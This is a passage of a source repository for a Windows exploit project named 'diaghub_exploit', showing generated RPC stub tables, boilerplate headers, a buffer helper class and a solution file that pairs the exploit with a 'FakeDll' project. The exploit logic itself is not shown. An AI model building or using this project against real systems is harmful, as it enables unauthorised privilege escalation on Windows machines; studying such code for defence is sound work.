3201 | 1,
3202 | 1,
3203 | 1,
3204 | 1,
3205 | 0,
3206 | 0,
3207 | 0,
3208 | 0,
3209 | 0,
3210 | (NDR64_UINT16) 0 /* 0x0 */,
3211 | 0
3212 | }, /* [out], IsReturn, Basetype, ByValue */
3213 | (NDR64_UINT16) 0 /* 0x0 */,
3214 | 24 /* 0x18 */, /* Stack offset */
3215 | }
3216 | };
3217 |
3218 | static const __midl_frag35_t __midl_frag35 =
3219 | {
3220 | /* Proc6 */
3221 | {
3222 | /* Proc6 */ /* procedure Proc6 */
3223 | (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */
3224 | (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */
3225 | (NDR64_UINT32) 24 /* 0x18 */,
3226 | (NDR64_UINT32) 8 /* 0x8 */,
3227 | (NDR64_UINT16) 0 /* 0x0 */,
3228 | (NDR64_UINT16) 0 /* 0x0 */,
3229 | (NDR64_UINT16) 4 /* 0x4 */,
3230 | (NDR64_UINT16) 8 /* 0x8 */
3231 | },
3232 | {
3233 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */
3234 | {
3235 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */
3236 | 0x72, /* FC64_BIND_PRIMITIVE */
3237 | (NDR64_UINT8) 0 /* 0x0 */,
3238 | 0 /* 0x0 */, /* Stack offset */
3239 | (NDR64_UINT8) 0 /* 0x0 */,
3240 | (NDR64_UINT8) 0 /* 0x0 */
3241 | },
3242 | (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */
3243 | },
3244 | {
3245 | /* arg_1 */ /* parameter arg_1 */
3246 | &__midl_frag113,
3247 | {
3248 | /* arg_1 */
3249 | 0,
3250 | 0,
3251 | 0,
3252 | 1,
3253 | 0,
3254 | 0,
3255 | 1,
3256 | 1,
3257 | 0,
3258 | 0,
3259 | 0,
3260 | 0,
3261 | 0,
3262 | (NDR64_UINT16) 0 /* 0x0 */,
3263 | 0
3264 | }, /* [in], Basetype, ByValue */
3265 | (NDR64_UINT16) 0 /* 0x0 */,
3266 | 8 /* 0x8 */, /* Stack offset */
3267 | },
3268 | {
3269 | /* arg_2 */ /* parameter arg_2 */
3270 | &__midl_frag113,
3271 | {
3272 | /* arg_2 */
3273 | 0,
3274 | 0,
3275 | 0,
3276 | 1,
3277 | 0,
3278 | 0,
3279 | 1,
3280 | 1,
3281 | 0,
3282 | 0,
3283 | 0,
3284 | 0,
3285 | 0,
3286 | (NDR64_UINT16) 0 /* 0x0 */,
3287 | 0
3288 | }, /* [in], Basetype, ByValue */
3289 | (NDR64_UINT16) 0 /* 0x0 */,
3290 | 16 /* 0x10 */, /* Stack offset */
3291 | },
3292 | {
3293 | /* arg_3 */ /* parameter arg_3 */
3294 | &__midl_frag113,
3295 | {
3296 | /* arg_3 */
3297 | 0,
3298 | 0,
3299 | 0,
3300 | 1,
3301 | 0,
3302 | 0,
3303 | 1,
3304 | 1,
3305 | 0,
3306 | 0,
3307 | 0,
3308 | 0,
3309 | 0,
3310 | (NDR64_UINT16) 0 /* 0x0 */,
3311 | 0
3312 | }, /* [in], Basetype, ByValue */
3313 | (NDR64_UINT16) 0 /* 0x0 */,
3314 | 24 /* 0x18 */, /* Stack offset */
3315 | },
3316 | {
3317 | /* long */ /* parameter long */
3318 | &__midl_frag113,
3319 | {
3320 | /* long */
3321 | 0,
3322 | 0,
3323 | 0,
3324 | 0,
3325 | 1,
3326 | 1,
3327 | 1,
3328 | 1,
3329 | 0,
3330 | 0,
3331 | 0,
3332 | 0,
3333 | 0,
3334 | (NDR64_UINT16) 0 /* 0x0 */,
3335 | 0
3336 | }, /* [out], IsReturn, Basetype, ByValue */
3337 | (NDR64_UINT16) 0 /* 0x0 */,
3338 | 32 /* 0x20 */, /* Stack offset */
3339 | }
3340 | };
3341 |
3342 | static const __midl_frag33_t __midl_frag33 =
3343 | {
3344 | /* Struct_76_t */
3345 | {
3346 | /* Struct_76_t */
3347 | 0x30, /* FC64_STRUCT */
3348 | (NDR64_UINT8) 3 /* 0x3 */,
3349 | {
3350 | /* Struct_76_t */
3351 | 0,
3352 | 0,
3353 | 0,
3354 | 0,
3355 | 0,
3356 | 0,
3357 | 0,
3358 | 0
3359 | },
3360 | (NDR64_UINT8) 0 /* 0x0 */,
3361 | (NDR64_UINT32) 8 /* 0x8 */
3362 | }
3363 | };
3364 |
3365 | static const __midl_frag32_t __midl_frag32 =
3366 | {
3367 | /* *Struct_76_t */
3368 | 0x20, /* FC64_RP */
3369 | (NDR64_UINT8) 4 /* 0x4 */,
3370 | (NDR64_UINT16) 0 /* 0x0 */,
3371 | &__midl_frag33
3372 | };
3373 |
3374 | static const __midl_frag28_t __midl_frag28 =
3375 | {
3376 | /* Proc5 */
3377 | {
3378 | /* Proc5 */ /* procedure Proc5 */
3379 | (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */
3380 | (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */
3381 | (NDR64_UINT32) 20 /* 0x14 */,
3382 | (NDR64_UINT32) 72 /* 0x48 */,
3383 | (NDR64_UINT16) 0 /* 0x0 */,
3384 | (NDR64_UINT16) 0 /* 0x0 */,
3385 | (NDR64_UINT16) 5 /* 0x5 */,
3386 | (NDR64_UINT16) 8 /* 0x8 */
3387 | },
3388 | {
3389 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */
3390 | {
3391 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */
3392 | 0x72, /* FC64_BIND_PRIMITIVE */
3393 | (NDR64_UINT8) 0 /* 0x0 */,
3394 | 0 /* 0x0 */, /* Stack offset */
3395 | (NDR64_UINT8) 0 /* 0x0 */,
3396 | (NDR64_UINT8) 0 /* 0x0 */
3397 | },
3398 | (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */
3399 | },
3400 | {
3401 | /* arg_1 */ /* parameter arg_1 */
3402 | &__midl_frag105,
3403 | {
3404 | /* arg_1 */
3405 | 0,
3406 | 0,
3407 | 0,
3408 | 1,
3409 | 0,
3410 | 0,
3411 | 1,
3412 | 1,
3413 | 0,
3414 | 0,
3415 | 0,
3416 | 0,
3417 | 0,
3418 | (NDR64_UINT16) 0 /* 0x0 */,
3419 | 0
3420 | }, /* [in], Basetype, ByValue */
3421 | (NDR64_UINT16) 0 /* 0x0 */,
3422 | 8 /* 0x8 */, /* Stack offset */
3423 | },
3424 | {
3425 | /* arg_2 */ /* parameter arg_2 */
3426 | &__midl_frag105,
3427 | {
3428 | /* arg_2 */
3429 | 0,
3430 | 0,
3431 | 0,
3432 | 1,
3433 | 0,
3434 | 0,
3435 | 1,
3436 | 1,
3437 | 0,
3438 | 0,
3439 | 0,
3440 | 0,
3441 | 0,
3442 | (NDR64_UINT16) 0 /* 0x0 */,
3443 | 0
3444 | }, /* [in], Basetype, ByValue */
3445 | (NDR64_UINT16) 0 /* 0x0 */,
3446 | 16 /* 0x10 */, /* Stack offset */
3447 | },
3448 | {
3449 | /* arg_3 */ /* parameter arg_3 */
3450 | &__midl_frag113,
3451 | {
3452 | /* arg_3 */
3453 | 0,
3454 | 0,
3455 | 0,
3456 | 1,
3457 | 0,
3458 | 0,
3459 | 1,
3460 | 1,
3461 | 0,
3462 | 0,
3463 | 0,
3464 | 0,
3465 | 0,
3466 | (NDR64_UINT16) 0 /* 0x0 */,
3467 | 0
3468 | }, /* [in], Basetype, ByValue */
3469 | (NDR64_UINT16) 0 /* 0x0 */,
3470 | 24 /* 0x18 */, /* Stack offset */
3471 | },
3472 | {
3473 | /* arg_4 */ /* parameter arg_4 */
3474 | &__midl_frag33,
3475 | {
3476 | /* arg_4 */
3477 | 0,
3478 | 1,
3479 | 0,
3480 | 0,
3481 | 1,
3482 | 0,
3483 | 0,
3484 | 0,
3485 | 1,
3486 | 0,
3487 | 0,
3488 | 0,
3489 | 0,
3490 | (NDR64_UINT16) 0 /* 0x0 */,
3491 | 1
3492 | }, /* MustFree, [out], SimpleRef, UseCache */
3493 | (NDR64_UINT16) 0 /* 0x0 */,
3494 | 32 /* 0x20 */, /* Stack offset */
3495 | },
3496 | {
3497 | /* long */ /* parameter long */
3498 | &__midl_frag113,
3499 | {
3500 | /* long */
3501 | 0,
3502 | 0,
3503 | 0,
3504 | 0,
3505 | 1,
3506 | 1,
3507 | 1,
3508 | 1,
3509 | 0,
3510 | 0,
3511 | 0,
3512 | 0,
3513 | 0,
3514 | (NDR64_UINT16) 0 /* 0x0 */,
3515 | 0
3516 | }, /* [out], IsReturn, Basetype, ByValue */
3517 | (NDR64_UINT16) 0 /* 0x0 */,
3518 | 40 /* 0x28 */, /* Stack offset */
3519 | }
3520 | };
3521 |
3522 | static const __midl_frag26_t __midl_frag26 =
3523 | {
3524 | /* Struct_34_t */
3525 | {
3526 | /* Struct_34_t */
3527 | 0x30, /* FC64_STRUCT */
3528 | (NDR64_UINT8) 7 /* 0x7 */,
3529 | {
3530 | /* Struct_34_t */
3531 | 0,
3532 | 0,
3533 | 0,
3534 | 0,
3535 | 0,
3536 | 0,
3537 | 0,
3538 | 0
3539 | },
3540 | (NDR64_UINT8) 0 /* 0x0 */,
3541 | (NDR64_UINT32) 1096 /* 0x448 */
3542 | }
3543 | };
3544 |
3545 | static const __midl_frag25_t __midl_frag25 =
3546 | {
3547 | /* *Struct_34_t */
3548 | 0x20, /* FC64_RP */
3549 | (NDR64_UINT8) 0 /* 0x0 */,
3550 | (NDR64_UINT16) 0 /* 0x0 */,
3551 | &__midl_frag26
3552 | };
3553 |
3554 | static const __midl_frag22_t __midl_frag22 =
3555 | {
3556 | /* Proc4 */
3557 | {
3558 | /* Proc4 */ /* procedure Proc4 */
3559 | (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */
3560 | (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */
3561 | (NDR64_UINT32) 1198 /* 0x4ae */,
3562 | (NDR64_UINT32) 1192 /* 0x4a8 */,
3563 | (NDR64_UINT16) 0 /* 0x0 */,
3564 | (NDR64_UINT16) 0 /* 0x0 */,
3565 | (NDR64_UINT16) 4 /* 0x4 */,
3566 | (NDR64_UINT16) 8 /* 0x8 */
3567 | },
3568 | {
3569 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */
3570 | {
3571 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */
3572 | 0x72, /* FC64_BIND_PRIMITIVE */
3573 | (NDR64_UINT8) 0 /* 0x0 */,
3574 | 0 /* 0x0 */, /* Stack offset */
3575 | (NDR64_UINT8) 0 /* 0x0 */,
3576 | (NDR64_UINT8) 0 /* 0x0 */
3577 | },
3578 | (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */
3579 | },
3580 | {
3581 | /* arg_1 */ /* parameter arg_1 */
3582 | &__midl_frag105,
3583 | {
3584 | /* arg_1 */
3585 | 0,
3586 | 0,
3587 | 0,
3588 | 1,
3589 | 0,
3590 | 0,
3591 | 1,
3592 | 1,
3593 | 0,
3594 | 0,
3595 | 0,
3596 | 0,
3597 | 0,
3598 | (NDR64_UINT16) 0 /* 0x0 */,
3599 | 0
3600 | }, /* [in], Basetype, ByValue */
3601 | (NDR64_UINT16) 0 /* 0x0 */,
3602 | 8 /* 0x8 */, /* Stack offset */
3603 | },
3604 | {
3605 | /* arg_2 */ /* parameter arg_2 */
3606 | &__midl_frag113,
3607 | {
3608 | /* arg_2 */
3609 | 0,
3610 | 0,
3611 | 0,
3612 | 1,
3613 | 0,
3614 | 0,
3615 | 1,
3616 | 1,
3617 | 0,
3618 | 0,
3619 | 0,
3620 | 0,
3621 | 0,
3622 | (NDR64_UINT16) 0 /* 0x0 */,
3623 | 0
3624 | }, /* [in], Basetype, ByValue */
3625 | (NDR64_UINT16) 0 /* 0x0 */,
3626 | 16 /* 0x10 */, /* Stack offset */
3627 | },
3628 | {
3629 | /* arg_3 */ /* parameter arg_3 */
3630 | &__midl_frag26,
3631 | {
3632 | /* arg_3 */
3633 | 0,
3634 | 1,
3635 | 0,
3636 | 1,
3637 | 1,
3638 | 0,
3639 | 0,
3640 | 0,
3641 | 1,
3642 | 0,
3643 | 0,
3644 | 0,
3645 | 0,
3646 | (NDR64_UINT16) 0 /* 0x0 */,
3647 | 0
3648 | }, /* MustFree, [in], [out], SimpleRef */
3649 | (NDR64_UINT16) 0 /* 0x0 */,
3650 | 24 /* 0x18 */, /* Stack offset */
3651 | },
3652 | {
3653 | /* long */ /* parameter long */
3654 | &__midl_frag113,
3655 | {
3656 | /* long */
3657 | 0,
3658 | 0,
3659 | 0,
3660 | 0,
3661 | 1,
3662 | 1,
3663 | 1,
3664 | 1,
3665 | 0,
3666 | 0,
3667 | 0,
3668 | 0,
3669 | 0,
3670 | (NDR64_UINT16) 0 /* 0x0 */,
3671 | 0
3672 | }, /* [out], IsReturn, Basetype, ByValue */
3673 | (NDR64_UINT16) 0 /* 0x0 */,
3674 | 32 /* 0x20 */, /* Stack offset */
3675 | }
3676 | };
3677 |
3678 | static const __midl_frag12_t __midl_frag12 =
3679 | {
3680 | /* Proc2 */
3681 | {
3682 | /* Proc2 */ /* procedure Proc2 */
3683 | (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */
3684 | (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */
3685 | (NDR64_UINT32) 22 /* 0x16 */,
3686 | (NDR64_UINT32) 8 /* 0x8 */,
3687 | (NDR64_UINT16) 0 /* 0x0 */,
3688 | (NDR64_UINT16) 0 /* 0x0 */,
3689 | (NDR64_UINT16) 4 /* 0x4 */,
3690 | (NDR64_UINT16) 8 /* 0x8 */
3691 | },
3692 | {
3693 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */
3694 | {
3695 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */
3696 | 0x72, /* FC64_BIND_PRIMITIVE */
3697 | (NDR64_UINT8) 0 /* 0x0 */,
3698 | 0 /* 0x0 */, /* Stack offset */
3699 | (NDR64_UINT8) 0 /* 0x0 */,
3700 | (NDR64_UINT8) 0 /* 0x0 */
3701 | },
3702 | (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */
3703 | },
3704 | {
3705 | /* arg_1 */ /* parameter arg_1 */
3706 | &__midl_frag105,
3707 | {
3708 | /* arg_1 */
3709 | 0,
3710 | 0,
3711 | 0,
3712 | 1,
3713 | 0,
3714 | 0,
3715 | 1,
3716 | 1,
3717 | 0,
3718 | 0,
3719 | 0,
3720 | 0,
3721 | 0,
3722 | (NDR64_UINT16) 0 /* 0x0 */,
3723 | 0
3724 | }, /* [in], Basetype, ByValue */
3725 | (NDR64_UINT16) 0 /* 0x0 */,
3726 | 8 /* 0x8 */, /* Stack offset */
3727 | },
3728 | {
3729 | /* arg_2 */ /* parameter arg_2 */
3730 | &__midl_frag113,
3731 | {
3732 | /* arg_2 */
3733 | 0,
3734 | 0,
3735 | 0,
3736 | 1,
3737 | 0,
3738 | 0,
3739 | 1,
3740 | 1,
3741 | 0,
3742 | 0,
3743 | 0,
3744 | 0,
3745 | 0,
3746 | (NDR64_UINT16) 0 /* 0x0 */,
3747 | 0
3748 | }, /* [in], Basetype, ByValue */
3749 | (NDR64_UINT16) 0 /* 0x0 */,
3750 | 16 /* 0x10 */, /* Stack offset */
3751 | },
3752 | {
3753 | /* arg_3 */ /* parameter arg_3 */
3754 | &__midl_frag113,
3755 | {
3756 | /* arg_3 */
3757 | 0,
3758 | 0,
3759 | 0,
3760 | 1,
3761 | 0,
3762 | 0,
3763 | 1,
3764 | 1,
3765 | 0,
3766 | 0,
3767 | 0,
3768 | 0,
3769 | 0,
3770 | (NDR64_UINT16) 0 /* 0x0 */,
3771 | 0
3772 | }, /* [in], Basetype, ByValue */
3773 | (NDR64_UINT16) 0 /* 0x0 */,
3774 | 24 /* 0x18 */, /* Stack offset */
3775 | },
3776 | {
3777 | /* long */ /* parameter long */
3778 | &__midl_frag113,
3779 | {
3780 | /* long */
3781 | 0,
3782 | 0,
3783 | 0,
3784 | 0,
3785 | 1,
3786 | 1,
3787 | 1,
3788 | 1,
3789 | 0,
3790 | 0,
3791 | 0,
3792 | 0,
3793 | 0,
3794 | (NDR64_UINT16) 0 /* 0x0 */,
3795 | 0
3796 | }, /* [out], IsReturn, Basetype, ByValue */
3797 | (NDR64_UINT16) 0 /* 0x0 */,
3798 | 32 /* 0x20 */, /* Stack offset */
3799 | }
3800 | };
3801 |
3802 | static const __midl_frag1_t __midl_frag1 =
3803 | (NDR64_UINT32) 0 /* 0x0 */;
3804 |
3805 |
3806 | #include "poppack.h"
3807 |
3808 |
3809 | static const FormatInfoRef DefaultIfName_Ndr64ProcTable[] =
3810 | {
3811 | &__midl_frag12,
3812 | &__midl_frag12,
3813 | &__midl_frag12,
3814 | &__midl_frag92,
3815 | &__midl_frag22,
3816 | &__midl_frag28,
3817 | &__midl_frag35,
3818 | &__midl_frag44,
3819 | &__midl_frag44,
3820 | &__midl_frag88,
3821 | &__midl_frag52,
3822 | &__midl_frag59,
3823 | &__midl_frag65,
3824 | &__midl_frag88,
3825 | &__midl_frag73,
3826 | &__midl_frag80,
3827 | &__midl_frag86,
3828 | &__midl_frag88,
3829 | &__midl_frag92,
3830 | &__midl_frag97,
3831 | &__midl_frag104,
3832 | &__midl_frag110
3833 | };
3834 |
3835 |
3836 | static const MIDL_STUB_DESC DefaultIfName_StubDesc =
3837 | {
3838 | (void *)& DefaultIfName___RpcServerInterface,
3839 | MIDL_user_allocate,
3840 | MIDL_user_free,
3841 | 0,
3842 | 0,
3843 | 0,
3844 | 0,
3845 | 0,
3846 | rpc__MIDL_TypeFormatString.Format,
3847 | 1, /* -error bounds_check flag */
3848 | 0x60001, /* Ndr library version */
3849 | 0,
3850 | 0x801026e, /* MIDL Version 8.1.622 */
3851 | 0,
3852 | 0,
3853 | 0, /* notify & notify_flag routine table */
3854 | 0x2000001, /* MIDL flag */
3855 | 0, /* cs routines */
3856 | (void *)& DefaultIfName_ServerInfo, /* proxy/server info */
3857 | 0
3858 | };
3859 |
3860 | static const RPC_DISPATCH_FUNCTION DefaultIfName_NDR64__table[] =
3861 | {
3862 | NdrServerCallAll,
3863 | NdrServerCallAll,
3864 | NdrServerCallAll,
3865 | NdrServerCallAll,
3866 | NdrServerCallAll,
3867 | NdrServerCallAll,
3868 | NdrServerCallAll,
3869 | NdrServerCallAll,
3870 | NdrServerCallAll,
3871 | NdrServerCallAll,
3872 | NdrServerCallAll,
3873 | NdrServerCallAll,
3874 | NdrServerCallAll,
3875 | NdrServerCallAll,
3876 | NdrServerCallAll,
3877 | NdrServerCallAll,
3878 | NdrServerCallAll,
3879 | NdrServerCallAll,
3880 | NdrServerCallAll,
3881 | NdrServerCallAll,
3882 | NdrServerCallAll,
3883 | NdrServerCallAll,
3884 | 0
3885 | };
3886 | static const RPC_DISPATCH_TABLE DefaultIfName_NDR64__v0_0_DispatchTable =
3887 | {
3888 | 22,
3889 | (RPC_DISPATCH_FUNCTION*)DefaultIfName_NDR64__table
3890 | };
3891 |
3892 | static const MIDL_SYNTAX_INFO DefaultIfName_SyntaxInfo [ 2 ] =
3893 | {
3894 | {
3895 | {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}},
3896 | (RPC_DISPATCH_TABLE*)&DefaultIfName_v0_0_DispatchTable,
3897 | rpc__MIDL_ProcFormatString.Format,
3898 | DefaultIfName_FormatStringOffsetTable,
3899 | rpc__MIDL_TypeFormatString.Format,
3900 | 0,
3901 | 0,
3902 | 0
3903 | }
3904 | ,{
3905 | {{0x71710533,0xbeba,0x4937,{0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36}},{1,0}},
3906 | (RPC_DISPATCH_TABLE*)&DefaultIfName_NDR64__v0_0_DispatchTable,
3907 | 0 ,
3908 | (unsigned short *) DefaultIfName_Ndr64ProcTable,
3909 | 0,
3910 | 0,
3911 | 0,
3912 | 0
3913 | }
3914 | };
3915 |
3916 |
3917 | static const SERVER_ROUTINE DefaultIfName_ServerRoutineTable[] =
3918 | {
3919 | (SERVER_ROUTINE)Proc0,
3920 | (SERVER_ROUTINE)Proc1,
3921 | (SERVER_ROUTINE)Proc2,
3922 | (SERVER_ROUTINE)Proc3,
3923 | (SERVER_ROUTINE)Proc4,
3924 | (SERVER_ROUTINE)Proc5,
3925 | (SERVER_ROUTINE)Proc6,
3926 | (SERVER_ROUTINE)Proc7,
3927 | (SERVER_ROUTINE)Proc8,
3928 | (SERVER_ROUTINE)Proc9,
3929 | (SERVER_ROUTINE)Proc10,
3930 | (SERVER_ROUTINE)Proc11,
3931 | (SERVER_ROUTINE)Proc12,
3932 | (SERVER_ROUTINE)Proc13,
3933 | (SERVER_ROUTINE)SvcMoveFileInheritSecurity,
3934 | (SERVER_ROUTINE)Proc15,
3935 | (SERVER_ROUTINE)Proc16,
3936 | (SERVER_ROUTINE)Proc17,
3937 | (SERVER_ROUTINE)Proc18,
3938 | (SERVER_ROUTINE)Proc19,
3939 | (SERVER_ROUTINE)Proc20,
3940 | (SERVER_ROUTINE)Proc21
3941 | };
3942 |
3943 | static const MIDL_SERVER_INFO DefaultIfName_ServerInfo =
3944 | {
3945 | &DefaultIfName_StubDesc,
3946 | DefaultIfName_ServerRoutineTable,
3947 | rpc__MIDL_ProcFormatString.Format,
3948 | (unsigned short *) DefaultIfName_FormatStringOffsetTable,
3949 | 0,
3950 | (RPC_SYNTAX_IDENTIFIER*)&_NDR64_RpcTransferSyntax,
3951 | 2,
3952 | (MIDL_SYNTAX_INFO*)DefaultIfName_SyntaxInfo
3953 | };
3954 | #if _MSC_VER >= 1200
3955 | #pragma warning(pop)
3956 | #endif
3957 |
3958 |
3959 | #endif /* defined(_M_AMD64)*/
3960 |
3961 |
--------------------------------------------------------------------------------
/diaghub_exploit/stdafx.cpp:
--------------------------------------------------------------------------------
1 | // stdafx.cpp : source file that includes just the standard includes
2 | // $safeprojectname$.pch will be the pre-compiled header
3 | // stdafx.obj will contain the pre-compiled type information
4 |
5 | #include "stdafx.h"
6 |
7 | // TODO: reference any additional headers you need in STDAFX.H
8 | // and not in this file
9 |
--------------------------------------------------------------------------------
/diaghub_exploit/stdafx.h:
--------------------------------------------------------------------------------
1 | // stdafx.h : include file for standard system include files,
2 | // or project specific include files that are used frequently, but
3 | // are changed infrequently
4 | //
5 |
6 | #pragma once
7 |
8 | #include "targetver.h"
9 |
10 | #define RPC_USE_NATIVE_WCHAR
11 |
12 | #include
13 | #include
14 | //#include
15 | #include
16 |
--------------------------------------------------------------------------------
/diaghub_exploit/targetver.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | // Including SDKDDKVer.h defines the highest available Windows platform.
4 |
5 | // If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
6 | // set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
7 |
8 | #include
9 |
--------------------------------------------------------------------------------
/diaghub_exploit/typed_buffer.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include
4 | #include
5 |
6 | template
7 | class typed_buffer_ptr {
8 | std::unique_ptr buffer_;
9 | size_t size_;
10 |
11 | public:
12 | typed_buffer_ptr() {
13 | }
14 |
15 | explicit typed_buffer_ptr(size_t size) {
16 | reset(size);
17 | }
18 |
19 | void reset(size_t size) {
20 | buffer_.reset(new char[size]);
21 | memset(buffer_.get(), 0, size);
22 | size_ = size;
23 | }
24 |
25 | void resize(size_t size) {
26 | std::unique_ptr tmp(new char[size]);
27 |
28 | memcpy(tmp.get(), buffer_.get(), min(size, size_));
29 |
30 | buffer_ = std::move(tmp);
31 | }
32 |
33 | operator T*() {
34 | return reinterpret_cast(buffer_.get());
35 | }
36 |
37 | operator const T*() const {
38 | return cget();
39 | }
40 |
41 | T* operator->() const {
42 | return reinterpret_cast(buffer_.get());
43 | }
44 |
45 | const T* cget() const {
46 | return interpret_cast(buffer_.get());
47 | }
48 |
49 | typed_buffer_ptr(const typed_buffer_ptr& other) = delete;
50 | typed_buffer_ptr& typed_buffer_ptr::operator=(const typed_buffer_ptr& other) = delete;
51 |
52 | typed_buffer_ptr(typed_buffer_ptr&& other) {
53 | buffer_ = std::move(other.buffer_);
54 | size_ = other.size_;
55 | other.size_ = 0;
56 | }
57 |
58 | typed_buffer_ptr& operator=(typed_buffer_ptr&& other) {
59 | if (this != &other)
60 | {
61 | buffer_ = std::move(other.buffer_);
62 | size_ = other.size_;
63 | other.size_ = 0;
64 | }
65 | }
66 |
67 | size_t size() const {
68 | return size_;
69 | }
70 | };
--------------------------------------------------------------------------------
/diaghubexploit.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 15
4 | VisualStudioVersion = 15.0.26730.8
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "diaghub_exploit", "diaghub_exploit\diaghub_exploit.vcxproj", "{E75DCF6C-9B6D-49C8-96D7-0003C127B449}"
7 | EndProject
8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "FakeDll", "FakeDll\FakeDll.vcxproj", "{510160D0-966C-4382-8A59-C6306C8624A7}"
9 | EndProject
10 | Global
11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
12 | Debug|x64 = Debug|x64
13 | Debug|x86 = Debug|x86
14 | Release|x64 = Release|x64
15 | Release|x86 = Release|x86
16 | EndGlobalSection
17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
18 | {E75DCF6C-9B6D-49C8-96D7-0003C127B449}.Debug|x64.ActiveCfg = Debug|x64
19 | {E75DCF6C-9B6D-49C8-96D7-0003C127B449}.Debug|x64.Build.0 = Debug|x64
20 | {E75DCF6C-9B6D-49C8-96D7-0003C127B449}.Debug|x86.ActiveCfg = Debug|Win32
21 | {E75DCF6C-9B6D-49C8-96D7-0003C127B449}.Debug|x86.Build.0 = Debug|Win32
22 | {E75DCF6C-9B6D-49C8-96D7-0003C127B449}.Release|x64.ActiveCfg = Release|x64
23 | {E75DCF6C-9B6D-49C8-96D7-0003C127B449}.Release|x64.Build.0 = Release|x64
24 | {E75DCF6C-9B6D-49C8-96D7-0003C127B449}.Release|x86.ActiveCfg = Release|Win32
25 | {E75DCF6C-9B6D-49C8-96D7-0003C127B449}.Release|x86.Build.0 = Release|Win32
26 | {510160D0-966C-4382-8A59-C6306C8624A7}.Debug|x64.ActiveCfg = Debug|x64
27 | {510160D0-966C-4382-8A59-C6306C8624A7}.Debug|x64.Build.0 = Debug|x64
28 | {510160D0-966C-4382-8A59-C6306C8624A7}.Debug|x86.ActiveCfg = Debug|Win32
29 | {510160D0-966C-4382-8A59-C6306C8624A7}.Debug|x86.Build.0 = Debug|Win32
30 | {510160D0-966C-4382-8A59-C6306C8624A7}.Release|x64.ActiveCfg = Release|x64
31 | {510160D0-966C-4382-8A59-C6306C8624A7}.Release|x64.Build.0 = Release|x64
32 | {510160D0-966C-4382-8A59-C6306C8624A7}.Release|x86.ActiveCfg = Release|Win32
33 | {510160D0-966C-4382-8A59-C6306C8624A7}.Release|x86.Build.0 = Release|Win32
34 | EndGlobalSection
35 | GlobalSection(SolutionProperties) = preSolution
36 | HideSolutionNode = FALSE
37 | EndGlobalSection
38 | GlobalSection(ExtensibilityGlobals) = postSolution
39 | SolutionGuid = {AA32DEA9-85D3-447D-820E-C6ACA3AD0CBD}
40 | EndGlobalSection
41 | EndGlobal
42 |
--------------------------------------------------------------------------------